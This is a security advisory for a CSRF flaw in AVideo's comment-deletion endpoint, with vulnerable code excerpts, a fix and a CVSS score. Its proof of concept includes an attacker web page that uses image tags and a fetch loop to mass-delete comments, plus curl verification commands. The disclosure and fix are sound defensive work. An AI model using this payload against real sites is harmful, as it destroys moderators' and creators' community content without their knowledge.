Missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators

Moderate **DanielnetoDotCom** published **GHSA-8qm8-g55h-xmqr** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

`objects/commentDelete.json.php` is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call `forbidIfIsUntrustedRequest()`, does not verify a CSRF/global token, and does not check `Origin` / `Referer`. Because AVideo intentionally sets `session.cookie_samesite=None` (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's `PHPSESSID`. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.

Details

Vulnerable endpoint: `objects/commentDelete.json.php`

```
// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
```

```
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_REQUEST['id']);      // <-- GET or POST
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_REQUEST['comments_id']);
}

if (empty($obj->id)) {
    $obj->msg = __("ID can not be empty");
    die(_json_encode($obj));
}

$objC = new Comment("", 0, $obj->id);
$obj->videos_id = $objC->getVideos_id();
$obj->status = $objC->delete();           // <-- destructive action, no CSRF check
...
```

No `forbidIfIsUntrustedRequest()`, no `verifyToken()`, no token/nonce parameter, no `Origin` / `Referer` validation. The handler accepts `$_REQUEST`, so the request may be delivered as `GET` (e.g. via `<img src>`) or `POST` (e.g. via an auto-submitting form / `fetch`).

Authorization inside `Comment::delete()` does not stop CSRF

```
// objects/comment.php:147-159
public function delete() {
    if (!self::userCanAdminComment($this->id)) {
        return false;
    }
    ...
    $sql = "DELETE FROM comments WHERE id = ?";
    ...
    return sqlDAL::writeSql($sql, "i", [$this->id]);
}

// objects/comment.php:316-332
public static function userCanAdminComment($comments_id) {
    if (!User::isLogged()) { return false; }
    if (Permissions::canAdminComment()) { return true; }   // site moderator
    $obj = new Comment("", 0, $comments_id);
    if ($obj->users_id == User::getId()) { return true; }  // comment owner
    $video = new Video("", "", $obj->videos_id);
    if ($video->getUsers_id() == User::getId()) { return true; } // video owner
```

```
    return false;
}
```

This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.

Site-wide cookie policy makes cross-site delivery reliable

```
// objects/include_config.php:139-146
if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    // where users must stay authenticated (e.g. video players on third-party sites).
    // Setting Lax would break that use case. All state-mutating endpoints that are
    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}
```

The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. `commentDelete.json.php` forgets to apply it. The canonical example that does get it right is `objects/userUpdate.json.php:18`:

```
// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
    $obj->msg = __("Is not logged");
    die(json_encode($obj));
}

forbidIfIsUntrustedRequest();   // <-- what commentDelete.json.php is missing
```

A repository-wide grep for `forbidIfIsUntrustedRequest` yields only `objects/userUpdate.json.php` and the function definition itself — no shared middleware exists, and no bootstrap in `configuration.php` / `include_config.php` wraps endpoints with a CSRF check.

Attacker model / victim value

- **Site moderators** (any account with `Permissions::canAdminComment()`): full-site comment deletion oracle.
- **Video creators** (channel owners): deletion oracle for every comment on their own videos.
- **Comment authors**: only their own comments (self-DoS, low value).

The first two classes make this a real integrity/availability attack on community content.

PoC

Assume the target AVideo instance runs at `https://victim.example.com` and the victim is a logged-in moderator (or any video owner). The attacker hosts:

```
<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $_REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style
<!-- ... up to N -->

<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
  fetch("https://victim.example.com/objects/commentDelete.json.php", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "comments_id=" + i
  });
}
</script>
</body></html>
```

Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):

```
# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' \
  https://victim.example.com/objects/userLogin.json.php

# 2. Call the endpoint with nothing but the session cookie and a comments_id.
#    No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt \
  -H 'Origin: https://attacker.example' \
  -H 'Referer: https://attacker.example/mass-delete.html' \
  'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...}
```

The `{"status":true,"error":false}` response confirms the row was deleted; compare with `objects/userUpdate.json.php` under the same Origin/Referer, which returns the "Invalid Request" forbidden page from `forbidIfIsUntrustedRequest()`.

Impact

- Cross-site mass deletion of comments.
- Against a site moderator (`Permissions::canAdminComment()`), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.
- Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
- The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
- No credential compromise is required; the attack does not leak data, but it destroys it.
- Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.

Recommended Fix

Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:

1. Require an authenticated session and reject untrusted-origin requests (same treatment as `userUpdate.json.php`).
2. Restrict the method to `POST` so drive-by `<img>` and navigational `GET` deliveries cannot reach the sink.

```
// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

// --- added CSRF defense ---
if (!User::isLogged()) {
    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));
}
forbidIfIsUntrustedRequest();                       // Referer/Origin gate
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {         // no $_REQUEST drive-by
    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_POST['id']);
$obj->status = false;

if (empty($obj->id)) {
```

```
    $obj->id = intval(@$_POST['comments_id']);
}
...
```

Stronger (recommended): also require a short-lived global token via `verifyToken()` as the in-source comment in `objects/include_config.php` prescribes, and audit every other `objects/*.json.php` handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces `forbidIfIsUntrustedRequest()` for any `json.php` that mutates state.

Severity

Moderate 5.4 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	None
Integrity	Low
Availability	Low

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

CVE ID

CVE-2026-40929

Weaknesses

▶ CWE-352

Credits

 **offset** Reporter